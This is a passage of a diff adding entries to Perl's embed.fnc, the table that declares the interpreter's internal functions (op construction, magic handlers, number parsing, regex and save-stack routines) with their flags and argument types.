+EXp	|void	|op_clear	|NN OP* o
+Ap	|void	|op_refcnt_lock
+Ap	|void	|op_refcnt_unlock
+Apdn	|OP*	|op_sibling_splice|NULLOK OP *parent|NULLOK OP *start \
+		|int del_count|NULLOK OP* insert
+#ifdef PERL_OP_PARENT
+Apdn	|OP*	|op_parent|NN OP *o
+#endif
+#if defined(PERL_IN_OP_C)
+s	|OP*	|listkids	|NULLOK OP* o
+#endif
+p	|OP*	|list		|NULLOK OP* o
+Apd	|void	|load_module|U32 flags|NN SV* name|NULLOK SV* ver|...
+Ap	|void	|vload_module|U32 flags|NN SV* name|NULLOK SV* ver|NULLOK va_list* args
+: Used in perly.y
+p	|OP*	|localize	|NN OP *o|I32 lex
+ApdR	|I32	|looks_like_number|NN SV *const sv
+Apd	|UV	|grok_bin	|NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C)
+EMpRX	|bool	|grok_bslash_x	|NN char** s|NN UV* uv           \
+				|NN const char** error_msg       \
+				|const bool output_warning       \
+				|const bool strict               \
+				|const bool silence_non_portable \
+				|const bool utf8
+EMpRX	|char	|grok_bslash_c	|const char source|const bool output_warning
+EMpRX	|bool	|grok_bslash_o	|NN char** s|NN UV* uv           \
+				|NN const char** error_msg       \
+				|const bool output_warning       \
+				|const bool strict               \
+				|const bool silence_non_portable \
+				|const bool utf8
+EMiR	|char*|form_short_octal_warning|NN const char * const s  \
+				|const STRLEN len
+EiPRn	|I32	|regcurly	|NN const char *s
+#endif
+Apd	|UV	|grok_hex	|NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+Apd	|int	|grok_infnan	|NN const char** sp|NN const char *send
+Apd	|int	|grok_number	|NN const char *pv|STRLEN len|NULLOK UV *valuep
+Apd	|int	|grok_number_flags|NN const char *pv|STRLEN len|NULLOK UV *valuep|U32 flags
+ApdR	|bool	|grok_numeric_radix|NN const char **sp|NN const char *send
+Apd	|UV	|grok_oct	|NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+EXpn	|bool	|grok_atoUV	|NN const char* pv|NN UV* valptr|NULLOK const char** endptr
+: These are all indirectly referenced by globals.c. This is somewhat annoying.
+p	|int	|magic_clearenv	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_clear_all_env|NN SV* sv|NN MAGIC* mg
+dp	|int	|magic_clearhint|NN SV* sv|NN MAGIC* mg
+dp	|int	|magic_clearhints|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_clearisa	|NULLOK SV* sv|NN MAGIC* mg
+p	|int	|magic_clearpack|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_clearsig	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_copycallchecker|NN SV* sv|NN MAGIC *mg|NN SV *nsv \
+				      |NULLOK const char *name|I32 namlen
+p	|int	|magic_existspack|NN SV* sv|NN const MAGIC* mg
+p	|int	|magic_freeovrld|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_get	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getarylen|NN SV* sv|NN const MAGIC* mg
+p	|int	|magic_getdefelem|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getdebugvar|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getnkeys	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getpack	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getpos	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getsig	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getsubstr|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_gettaint	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getuvar	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_getvec	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_nextpack	|NN SV *sv|NN MAGIC *mg|NN SV *key
+p	|U32	|magic_regdata_cnt|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_regdatum_get|NN SV* sv|NN MAGIC* mg
+:removing noreturn to silence a warning for this function resulted in no
+:change to the interpreter DLL image under VS 2003 -O1 -GL 32 bits only because
+:this is used in a magic vtable, do not use this on conventionally called funcs
+#ifdef _MSC_VER
+p	|int	|magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#else
+pr	|int	|magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#endif
+p	|int	|magic_set	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setarylen|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_cleararylen_p|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_freearylen_p|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setdbline|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setdebugvar|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setdefelem|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setenv	|NN SV* sv|NN MAGIC* mg
+dp	|int	|magic_sethint	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setisa	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setlvref	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setmglob	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setnkeys	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setpack	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setpos	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setregexp|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setsig	|NULLOK SV* sv|NN MAGIC* mg
+p	|int	|magic_setsubstr|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_settaint	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setuvar	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setvec	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_setutf8	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_set_all_env|NN SV* sv|NN MAGIC* mg
+p	|U32	|magic_sizepack	|NN SV* sv|NN MAGIC* mg
+p	|int	|magic_wipepack	|NN SV* sv|NN MAGIC* mg
+pod	|SV*	|magic_methcall	|NN SV *sv|NN const MAGIC *mg \
+				|NN SV *meth|U32 flags \
+				|U32 argc|...
+Ap	|I32 *	|markstack_grow
+#if defined(USE_LOCALE_COLLATE)
+p	|int	|magic_setcollxfrm|NN SV* sv|NN MAGIC* mg
+: Defined in locale.c, used only in sv.c
+p	|char*	|mem_collxfrm	|NN const char* s|STRLEN len|NN STRLEN* xlen
+#endif
+Afpd	|SV*	|mess		|NN const char* pat|...
+Apd	|SV*	|mess_sv	|NN SV* basemsg|bool consume
+Apd	|SV*	|vmess		|NN const char* pat|NULLOK va_list* args
+: FIXME - either make it public, or stop exporting it. (Data::Alias uses this)
+: Used in gv.c, op.c, toke.c
+EXp	|void	|qerror		|NN SV* err
+Apd	|void	|sortsv		|NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp
+Apd	|void	|sortsv_flags	|NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp|U32 flags
+Apd	|int	|mg_clear	|NN SV* sv
+Apd	|int	|mg_copy	|NN SV *sv|NN SV *nsv|NULLOK const char *key \
+				|I32 klen
+: Defined in mg.c, used only in scope.c
+pd	|void	|mg_localize	|NN SV* sv|NN SV* nsv|bool setmagic
+ApdRn	|MAGIC*	|mg_find	|NULLOK const SV* sv|int type
+ApdRn	|MAGIC*	|mg_findext	|NULLOK const SV* sv|int type|NULLOK const MGVTBL *vtbl
+: exported for re.pm
+EXpR	|MAGIC*	|mg_find_mglob	|NN SV* sv
+Apd	|int	|mg_free	|NN SV* sv
+Apd	|void	|mg_free_type	|NN SV* sv|int how
+Apd	|int	|mg_get		|NN SV* sv
+ApdD	|U32	|mg_length	|NN SV* sv
+Apdn	|void	|mg_magical	|NN SV* sv
+Apd	|int	|mg_set		|NN SV* sv
+Ap	|I32	|mg_size	|NN SV* sv
+Apn	|void	|mini_mktime	|NN struct tm *ptm
+AMmd	|OP*	|op_lvalue	|NULLOK OP* o|I32 type
+poX	|OP*	|op_lvalue_flags|NULLOK OP* o|I32 type|U32 flags
+p	|void	|finalize_optree		|NN OP* o
+#if defined(PERL_IN_OP_C)
+s	|void	|finalize_op	|NN OP* o
+s	|void	|move_proto_attr|NN OP **proto|NN OP **attrs|NN const GV *name
+#endif
+: Used in op.c and pp_sys.c
+p	|int	|mode_from_discipline|NULLOK const char* s|STRLEN len
+Ap	|const char*	|moreswitches	|NN const char* s
+Ap	|NV	|my_atof	|NN const char *s
+#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
+Anp	|void*	|my_bcopy	|NN const void* vfrom|NN void* vto|size_t len
+#endif
+#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
+Anp	|void*	|my_bzero	|NN void* vloc|size_t len
+#endif
+Apr	|void	|my_exit	|U32 status
+Apr	|void	|my_failure_exit
+Ap	|I32	|my_fflush_all
+Anp	|Pid_t	|my_fork
+Anp	|void	|atfork_lock
+Anp	|void	|atfork_unlock
+Apmb	|I32	|my_lstat
+pX	|I32	|my_lstat_flags	|NULLOK const U32 flags
+#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
+AnpP	|int	|my_memcmp	|NN const void* vs1|NN const void* vs2|size_t len
+#endif
+#if !defined(HAS_MEMSET)
+Anp	|void*	|my_memset	|NN void* vloc|int ch|size_t len
+#endif
+#if !defined(PERL_IMPLICIT_SYS)
+Ap	|I32	|my_pclose	|NULLOK PerlIO* ptr
+Ap	|PerlIO*|my_popen	|NN const char* cmd|NN const char* mode
+#endif
+Ap	|PerlIO*|my_popen_list	|NN const char* mode|int n|NN SV ** args
+Ap	|void	|my_setenv	|NULLOK const char* nam|NULLOK const char* val
+Apmb	|I32	|my_stat
+pX	|I32	|my_stat_flags	|NULLOK const U32 flags
+Afp	|char *	|my_strftime	|NN const char *fmt|int sec|int min|int hour|int mday|int mon|int year|int wday|int yday|int isdst
+: Used in pp_ctl.c
+p	|void	|my_unexec
+ADMnoPR	|UV	|NATIVE_TO_NEED	|const UV enc|const UV ch
+ADMnoPR	|UV	|ASCII_TO_NEED	|const UV enc|const UV ch
+Apa	|OP*	|newANONLIST	|NULLOK OP* o
+Apa	|OP*	|newANONHASH	|NULLOK OP* o
+Ap	|OP*	|newANONSUB	|I32 floor|NULLOK OP* proto|NULLOK OP* block
+Apda	|OP*	|newASSIGNOP	|I32 flags|NULLOK OP* left|I32 optype|NULLOK OP* right
+Apda	|OP*	|newCONDOP	|I32 flags|NN OP* first|NULLOK OP* trueop|NULLOK OP* falseop
+Apd	|CV*	|newCONSTSUB	|NULLOK HV* stash|NULLOK const char* name|NULLOK SV* sv
+Apd	|CV*	|newCONSTSUB_flags|NULLOK HV* stash \
+				  |NULLOK const char* name|STRLEN len \
+				  |U32 flags|NULLOK SV* sv
+Ap	|void	|newFORM	|I32 floor|NULLOK OP* o|NULLOK OP* block
+Apda	|OP*	|newFOROP	|I32 flags|NULLOK OP* sv|NN OP* expr|NULLOK OP* block|NULLOK OP* cont
+Apda	|OP*	|newGIVENOP	|NN OP* cond|NN OP* block|PADOFFSET defsv_off
+Apda	|OP*	|newLOGOP	|I32 optype|I32 flags|NN OP *first|NN OP *other
+Apda	|OP*	|newLOOPEX	|I32 type|NN OP* label
+Apda	|OP*	|newLOOPOP	|I32 flags|I32 debuggable|NULLOK OP* expr|NULLOK OP* block
+Apda	|OP*	|newNULLLIST
+Apda	|OP*	|newOP		|I32 optype|I32 flags
+Ap	|void	|newPROG	|NN OP* o
+Apda	|OP*	|newRANGE	|I32 flags|NN OP* left|NN OP* right
+Apda	|OP*	|newSLICEOP	|I32 flags|NULLOK OP* subscript|NULLOK OP* listop
+Apda	|OP*	|newSTATEOP	|I32 flags|NULLOK char* label|NULLOK OP* o
+Abm	|CV*	|newSUB		|I32 floor|NULLOK OP* o|NULLOK OP* proto \
+				|NULLOK OP* block
+p	|CV *	|newXS_len_flags|NULLOK const char *name|STRLEN len \
+				|NN XSUBADDR_t subaddr\
+				|NULLOK const char *const filename \
+				|NULLOK const char *const proto \
+				|NULLOK SV **const_svp|U32 flags
+pX	|CV *	|newXS_deffile	|NN const char *name|NN XSUBADDR_t subaddr
+ApM	|CV *	|newXS_flags	|NULLOK const char *name|NN XSUBADDR_t subaddr\
+				|NN const char *const filename \
+				|NULLOK const char *const proto|U32 flags
+Apd	|CV*	|newXS		|NULLOK const char *name|NN XSUBADDR_t subaddr\
+				|NN const char *filename
+AmdbR	|AV*	|newAV
+Apa	|OP*	|newAVREF	|NN OP* o
+Apda	|OP*	|newBINOP	|I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+Apa	|OP*	|newCVREF	|I32 flags|NULLOK OP* o
+Apda	|OP*	|newGVOP	|I32 type|I32 flags|NN GV* gv
+Am	|GV*	|newGVgen	|NN const char* pack
+Apa	|GV*	|newGVgen_flags	|NN const char* pack|U32 flags
+Apa	|OP*	|newGVREF	|I32 type|NULLOK OP* o
+ApaR	|OP*	|newHVREF	|NN OP* o
+AmdbR	|HV*	|newHV
+ApaR	|HV*	|newHVhv	|NULLOK HV *hv
+Apabm	|IO*	|newIO
+Apda	|OP*	|newLISTOP	|I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+AMpdan	|PADNAME *|newPADNAMEouter|NN PADNAME *outer
+AMpdan	|PADNAME *|newPADNAMEpvn|NN const char *s|STRLEN len
+AMpdan	|PADNAMELIST *|newPADNAMELIST|size_t max
+#ifdef USE_ITHREADS
+Apda	|OP*	|newPADOP	|I32 type|I32 flags|NN SV* sv
+#endif
+Apda	|OP*	|newPMOP	|I32 type|I32 flags
+Apda	|OP*	|newPVOP	|I32 type|I32 flags|NULLOK char* pv
+Apa	|SV*	|newRV		|NN SV *const sv
+Apda	|SV*	|newRV_noinc	|NN SV *const tmpRef
+Apda	|SV*	|newSV		|const STRLEN len
+Apa	|OP*	|newSVREF	|NN OP* o
+Apda	|OP*	|newSVOP	|I32 type|I32 flags|NN SV* sv
+ApdR	|OP*	|newDEFSVOP
+pa	|SV*	|newSVavdefelem	|NN AV *av|SSize_t ix|bool extendible
+Apda	|SV*	|newSViv	|const IV i
+Apda	|SV*	|newSVuv	|const UV u
+Apda	|SV*	|newSVnv	|const NV n
+Apda	|SV*	|newSVpv	|NULLOK const char *const s|const STRLEN len
+Apda	|SV*	|newSVpvn	|NULLOK const char *const s|const STRLEN len
+Apda	|SV*	|newSVpvn_flags	|NULLOK const char *const s|const STRLEN len|const U32 flags
+Apda	|SV*	|newSVhek	|NULLOK const HEK *const hek
+Apda	|SV*	|newSVpvn_share	|NULLOK const char* s|I32 len|U32 hash
+Apda	|SV*	|newSVpv_share	|NULLOK const char* s|U32 hash
+Afpda	|SV*	|newSVpvf	|NN const char *const pat|...
+Apa	|SV*	|vnewSVpvf	|NN const char *const pat|NULLOK va_list *const args
+Apd	|SV*	|newSVrv	|NN SV *const rv|NULLOK const char *const classname
+Apda	|SV*	|newSVsv	|NULLOK SV *const old
+Apda	|SV*	|newSV_type	|const svtype type
+Apda	|OP*	|newUNOP	|I32 type|I32 flags|NULLOK OP* first
+Apda	|OP*	|newUNOP_AUX	|I32 type|I32 flags|NULLOK OP* first \
+				|NULLOK UNOP_AUX_item *aux
+Apda	|OP*	|newWHENOP	|NULLOK OP* cond|NN OP* block
+Apda	|OP*	|newWHILEOP	|I32 flags|I32 debuggable|NULLOK LOOP* loop \
+				|NULLOK OP* expr|NULLOK OP* block|NULLOK OP* cont \
+				|I32 has_my
+Apda	|OP*	|newMETHOP	|I32 type|I32 flags|NN OP* dynamic_meth
+Apda	|OP*	|newMETHOP_named|I32 type|I32 flags|NN SV* const_meth
+Apd	|CV*	|rv2cv_op_cv	|NN OP *cvop|U32 flags
+Apd	|OP*	|ck_entersub_args_list|NN OP *entersubop
+Apd	|OP*	|ck_entersub_args_proto|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+Apd	|OP*	|ck_entersub_args_proto_or_list|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+po	|OP*	|ck_entersub_args_core|NN OP *entersubop|NN GV *namegv \
+				      |NN SV *protosv
+Apd	|void	|cv_get_call_checker|NN CV *cv|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p
+Apd	|void	|cv_set_call_checker|NN CV *cv|NN Perl_call_checker ckfun|NN SV *ckobj
+Apd	|void	|cv_set_call_checker_flags|NN CV *cv \
+					  |NN Perl_call_checker ckfun \
+					  |NN SV *ckobj|U32 flags
+Apd	|void	|wrap_op_checker|Optype opcode|NN Perl_check_t new_checker|NN Perl_check_t *old_checker_p
+Apa	|PERL_SI*|new_stackinfo|I32 stitems|I32 cxitems
+Ap	|char*	|scan_vstring	|NN const char *s|NN const char *const e \
+				|NN SV *sv
+Apd	|const char*	|scan_version	|NN const char *s|NN SV *rv|bool qv
+Apd	|const char*	|prescan_version	|NN const char *s\
+	|bool strict|NULLOK const char** errstr|NULLOK bool *sqv\
+	|NULLOK int *ssaw_decimal|NULLOK int *swidth|NULLOK bool *salpha
+Apd	|SV*	|new_version	|NN SV *ver
+Apd	|SV*	|upg_version	|NN SV *ver|bool qv
+Apd	|SV*	|vverify	|NN SV *vs
+Apd	|SV*	|vnumify	|NN SV *vs
+Apd	|SV*	|vnormal	|NN SV *vs
+Apd	|SV*	|vstringify	|NN SV *vs
+Apd	|int	|vcmp		|NN SV *lhv|NN SV *rhv
+: Used in pp_hot.c and pp_sys.c
+p	|PerlIO*|nextargv	|NN GV* gv|bool nomagicopen
+AnpP	|char*	|ninstr		|NN const char* big|NN const char* bigend \
+				|NN const char* little|NN const char* lend
+Apd	|void	|op_free	|NULLOK OP* arg
+Mp	|OP*	|op_unscope	|NULLOK OP* o
+#ifdef PERL_CORE
+p	|void	|opslab_free	|NN OPSLAB *slab
+p	|void	|opslab_free_nopad|NN OPSLAB *slab
+p	|void	|opslab_force_free|NN OPSLAB *slab
+#endif
+: Used in perly.y
+p	|void	|package	|NN OP* o
+: Used in perly.y
+p	|void	|package_version|NN OP* v
+: Used in toke.c and perly.y
+p	|PADOFFSET|allocmy	|NN const char *const name|const STRLEN len\
+				|const U32 flags
+#ifdef USE_ITHREADS
+AMp	|PADOFFSET|alloccopstash|NN HV *hv
+#endif
+: Used in perly.y
+pR	|OP*	|oopsAV		|NN OP* o
+: Used in perly.y
+pR	|OP*	|oopsHV		|NN OP* o
+
+: peephole optimiser
+p	|void	|peep		|NULLOK OP* o
+p	|void	|rpeep		|NULLOK OP* o
+: Defined in doio.c, used only in pp_hot.c
+dopM	|PerlIO*|start_glob	|NN SV *tmpglob|NN IO *io
+
+Ap	|void	|reentrant_size
+Ap	|void	|reentrant_init
+Ap	|void	|reentrant_free
+Anp	|void*	|reentrant_retry|NN const char *f|...
+
+: "Very" special - can't use the O flag for this one:
+: (The rename from perl_atexit to Perl_call_atexit was in 864dbfa3ca8032ef)
+Ap	|void	|call_atexit	|ATEXIT_t fn|NULLOK void *ptr
+ApdO	|I32	|call_argv	|NN const char* sub_name|I32 flags|NN char** argv
+ApdO	|I32	|call_method	|NN const char* methname|I32 flags
+ApdO	|I32	|call_pv	|NN const char* sub_name|I32 flags
+ApdO	|I32	|call_sv	|NN SV* sv|VOL I32 flags
+Ap	|void	|despatch_signals
+Ap	|OP *	|doref		|NN OP *o|I32 type|bool set_op_ref
+ApdO	|SV*	|eval_pv	|NN const char* p|I32 croak_on_error
+ApdO	|I32	|eval_sv	|NN SV* sv|I32 flags
+ApdO	|SV*	|get_sv		|NN const char *name|I32 flags
+ApdO	|AV*	|get_av		|NN const char *name|I32 flags
+ApdO	|HV*	|get_hv		|NN const char *name|I32 flags
+ApdO	|CV*	|get_cv		|NN const char* name|I32 flags
+Apd	|CV*	|get_cvn_flags	|NN const char* name|STRLEN len|I32 flags
+#ifdef WIN32
+ApPM	|char*	|my_setlocale	|int category|NULLOK const char* locale
+#else
+AmPM	|char*	|my_setlocale	|int category|NULLOK const char* locale
+#endif
+ApOM	|int	|init_i18nl10n	|int printwarn
+ApOM	|int	|init_i18nl14n	|int printwarn
+ApM	|char*	|my_strerror	|const int errnum
+ApOM	|void	|new_collate	|NULLOK const char* newcoll
+ApOM	|void	|new_ctype	|NN const char* newctype
+EXpMn	|void	|_warn_problematic_locale
+ApOM	|void	|new_numeric	|NULLOK const char* newcoll
+Ap	|void	|set_numeric_local
+Ap	|void	|set_numeric_radix
+Ap	|void	|set_numeric_standard
+ApM	|bool	|_is_in_locale_category|const bool compiling|const int category
+Apd	|void	|sync_locale
+ApdO	|void	|require_pv	|NN const char* pv
+Apd	|void	|pack_cat	|NN SV *cat|NN const char *pat|NN const char *patend \
+				|NN SV **beglist|NN SV **endlist|NN SV ***next_in_list|U32 flags
+Apd	|void	|packlist 	|NN SV *cat|NN const char *pat|NN const char *patend|NN SV **beglist|NN SV **endlist
+#if defined(PERL_USES_PL_PIDSTATUS) && defined(PERL_IN_UTIL_C)
+s	|void	|pidgone	|Pid_t pid|int status
+#endif
+: Used in perly.y
+p	|OP*	|pmruntime	|NN OP *o|NN OP *expr|NULLOK OP *repl \
+				|bool isreg|I32 floor
+#if defined(PERL_IN_OP_C)
+s	|OP*	|pmtrans	|NN OP* o|NN OP* expr|NN OP* repl
+#endif
+Ap	|void	|pop_scope
+Ap	|void	|push_scope
+Amb	|OP*	|ref		|NULLOK OP* o|I32 type
+#if defined(PERL_IN_OP_C)
+s	|OP*	|refkids	|NULLOK OP* o|I32 type
+#endif
+Ap	|void	|regdump	|NN const regexp* r
+ApM	|SV*	|regclass_swash	|NULLOK const regexp *prog \
+				|NN const struct regnode *node|bool doinit \
+				|NULLOK SV **listsvp|NULLOK SV **altsvp
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_PERL_C) || defined(PERL_IN_UTF8_C)
+AMpR	|SV*	|_new_invlist_C_array|NN const UV* const list
+EXMp	|bool	|_invlistEQ	|NN SV* const a|NN SV* const b|const bool complement_b
+#endif
+Ap	|I32	|pregexec	|NN REGEXP * const prog|NN char* stringarg \
+				|NN char* strend|NN char* strbeg \
+				|SSize_t minend |NN SV* screamer|U32 nosave
+Ap	|void	|pregfree	|NULLOK REGEXP* r
+Ap	|void	|pregfree2	|NN REGEXP *rx
+: FIXME - is anything in re using this now?
+EXp	|REGEXP*|reg_temp_copy	|NULLOK REGEXP* ret_x|NN REGEXP* rx
+Ap	|void	|regfree_internal|NN REGEXP *const rx
+#if defined(USE_ITHREADS)
+Ap	|void*	|regdupe_internal|NN REGEXP * const r|NN CLONE_PARAMS* param
+#endif
+EXp	|regexp_engine const *|current_re_engine
+Ap	|REGEXP*|pregcomp	|NN SV * const pattern|const U32 flags
+p	|REGEXP*|re_op_compile	|NULLOK SV ** const patternp \
+				|int pat_count|NULLOK OP *expr \
+				|NN const regexp_engine* eng \
+				|NULLOK REGEXP *old_re \
+				|NULLOK bool *is_bare_re \
+				|U32 rx_flags|U32 pm_flags
+Ap	|REGEXP*|re_compile	|NN SV * const pattern|U32 orig_rx_flags
+Ap	|char*	|re_intuit_start|NN REGEXP * const rx \
+				|NULLOK SV* sv \
+				|NN const char* const strbeg \
+				|NN char* strpos \
+				|NN char* strend \
+				|const U32 flags \
+				|NULLOK re_scream_pos_data *data
+Ap	|SV*	|re_intuit_string|NN REGEXP  *const r
+Ap	|I32	|regexec_flags	|NN REGEXP *const rx|NN char *stringarg \
+				|NN char *strend|NN char *strbeg \
+				|SSize_t minend|NN SV *sv \
+				|NULLOK void *data|U32 flags
+ApR	|regnode*|regnext	|NULLOK regnode* p
+EXp |SV*|reg_named_buff          |NN REGEXP * const rx|NULLOK SV * const key \
+                                 |NULLOK SV * const value|const U32 flags
+EXp |SV*|reg_named_buff_iter     |NN REGEXP * const rx|NULLOK const SV * const lastkey \
+                                 |const U32 flags
+Ap |SV*|reg_named_buff_fetch    |NN REGEXP * const rx|NN SV * const namesv|const U32 flags
+Ap |bool|reg_named_buff_exists  |NN REGEXP * const rx|NN SV * const key|const U32 flags
+Ap |SV*|reg_named_buff_firstkey |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_nextkey  |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_scalar   |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_all      |NN REGEXP * const rx|const U32 flags
+
+: FIXME - is anything in re using this now?
+EXp	|void|reg_numbered_buff_fetch|NN REGEXP * const rx|const I32 paren|NULLOK SV * const sv
+: FIXME - is anything in re using this now?
+EXp	|void|reg_numbered_buff_store|NN REGEXP * const rx|const I32 paren|NULLOK SV const * const value
+: FIXME - is anything in re using this now?
+EXp	|I32|reg_numbered_buff_length|NN REGEXP * const rx|NN const SV * const sv|const I32 paren
+
+: FIXME - is anything in re using this now?
+EXp	|SV*|reg_qr_package|NN REGEXP * const rx
+
+Anp	|void	|repeatcpy	|NN char* to|NN const char* from|I32 len|IV count
+AnpP	|char*	|rninstr	|NN const char* big|NN const char* bigend \
+				|NN const char* little|NN const char* lend
+Ap	|Sighandler_t|rsignal	|int i|Sighandler_t t
+: Used in pp_sys.c
+p	|int	|rsignal_restore|int i|NULLOK Sigsave_t* t
+: Used in pp_sys.c
+p	|int	|rsignal_save	|int i|Sighandler_t t1|NN Sigsave_t* save
+Ap	|Sighandler_t|rsignal_state|int i
+#if defined(PERL_IN_PP_CTL_C)
+s	|void	|rxres_free	|NN void** rsp
+s	|void	|rxres_restore	|NN void **rsp|NN REGEXP *rx
+#endif
+: Used in pp_hot.c
+p	|void	|rxres_save	|NN void **rsp|NN REGEXP *rx
+#if !defined(HAS_RENAME)
+: Used in pp_sys.c
+p	|I32	|same_dirent	|NN const char* a|NN const char* b
+#endif
+Apda	|char*	|savepv		|NULLOK const char* pv
+Apda	|char*	|savepvn	|NULLOK const char* pv|I32 len
+Apda	|char*	|savesharedpv	|NULLOK const char* pv
+
+: NULLOK only to suppress a compiler warning
+Apda	|char*	|savesharedpvn	|NULLOK const char *const pv \
+				|const STRLEN len
+Apda	|char*	|savesharedsvpv	|NN SV *sv
+Apda	|char*	|savesvpv	|NN SV* sv
+Ap	|void	|savestack_grow
+Ap	|void	|savestack_grow_cnt	|I32 need
+Amp	|void	|save_aelem	|NN AV* av|SSize_t idx|NN SV **sptr
+Ap	|void	|save_aelem_flags|NN AV* av|SSize_t idx|NN SV **sptr \
+				 |const U32 flags
+Ap	|I32	|save_alloc	|I32 size|I32 pad
+Ap	|void	|save_aptr	|NN AV** aptr
+Ap	|AV*	|save_ary	|NN GV* gv
+Ap	|void	|save_bool	|NN bool* boolp
+Ap	|void	|save_clearsv	|NN SV** svp
+Ap	|void	|save_delete	|NN HV *hv|NN char *key|I32 klen
+Ap	|void	|save_hdelete	|NN HV *hv|NN SV *keysv
+Ap	|void	|save_adelete	|NN AV *av|SSize_t key
+Ap	|void	|save_destructor|DESTRUCTORFUNC_NOCONTEXT_t f|NN void* p
+Ap	|void	|save_destructor_x|DESTRUCTORFUNC_t f|NULLOK void* p
+Apmb	|void	|save_freesv	|NULLOK SV* sv
+: Used in SAVEFREOP(), used in op.c, pp_ctl.c
+Apmb	|void	|save_freeop	|NULLOK OP* o
+Apmb	|void	|save_freepv	|NULLOK char* pv
+Ap	|void	|save_generic_svref|NN SV** sptr
+Ap	|void	|save_generic_pvref|NN char** str
+Ap	|void	|save_shared_pvref|NN char** str
+Adp	|void	|save_gp	|NN GV* gv|I32 empty
+Ap	|HV*	|save_hash	|NN GV* gv
+Ap	|void	|save_hints
+Amp	|void	|save_helem	|NN HV *hv|NN SV *key|NN SV **sptr
+Ap	|void	|save_helem_flags|NN HV *hv|NN SV *key|NN SV **sptr|const U32 flags
+Ap	|void	|save_hptr	|NN HV** hptr
+Ap	|void	|save_I16	|NN I16* intp
+Ap	|void	|save_I32	|NN I32* intp
+Ap	|void	|save_I8	|NN I8* bytep
+Ap	|void	|save_int	|NN int* intp
+Ap	|void	|save_item	|NN SV* item
+Ap	|void	|save_iv	|NN IV *ivp
+Ap	|void	|save_list	|NN SV** sarg|I32 maxsarg
+Ap	|void	|save_long	|NN long* longp
+Apmb	|void	|save_mortalizesv|NN SV* sv
+Ap	|void	|save_nogv	|NN GV* gv
+: Used in SAVEFREOP(), used in gv.c, op.c, perl.c, pp_ctl.c, pp_sort.c
+Apmb	|void	|save_op
+Ap	|SV*	|save_scalar	|NN GV* gv
+Ap	|void	|save_pptr	|NN char** pptr
+Ap	|void	|save_vptr	|NN void *ptr
+Ap	|void	|save_re_context
+Ap	|void	|save_padsv_and_mortalize|PADOFFSET off
+Ap	|void	|save_sptr	|NN SV** sptr
+Xp	|void	|save_strlen	|NN STRLEN* ptr
+Ap	|SV*	|save_svref	|NN SV** sptr
+AMpo	|void	|savetmps
+Ap	|void	|save_pushptr	|NULLOK void *const ptr|const int type
+Ap	|void	|save_pushi32ptr|const I32 i|NULLOK void *const ptr|const int type
+: Used by SAVESWITCHSTACK() in pp.c
+Ap	|void	|save_pushptrptr|NULLOK void *const ptr1 \
+				|NULLOK void *const ptr2|const int type
+#if defined(PERL_IN_SCOPE_C)
+s	|void	|save_pushptri32ptr|NULLOK void *const ptr1|const I32 i \
+				|NULLOK void *const ptr2|const int type
+#endif
+: Used in perly.y
+p	|OP*	|sawparens	|NULLOK OP* o
+Apd	|OP*	|op_contextualize|NN OP* o|I32 context
+: Used in perly.y
+p	|OP*	|scalar		|NULLOK OP* o
+#if defined(PERL_IN_OP_C)
+s	|OP*	|scalarkids	|NULLOK OP* o
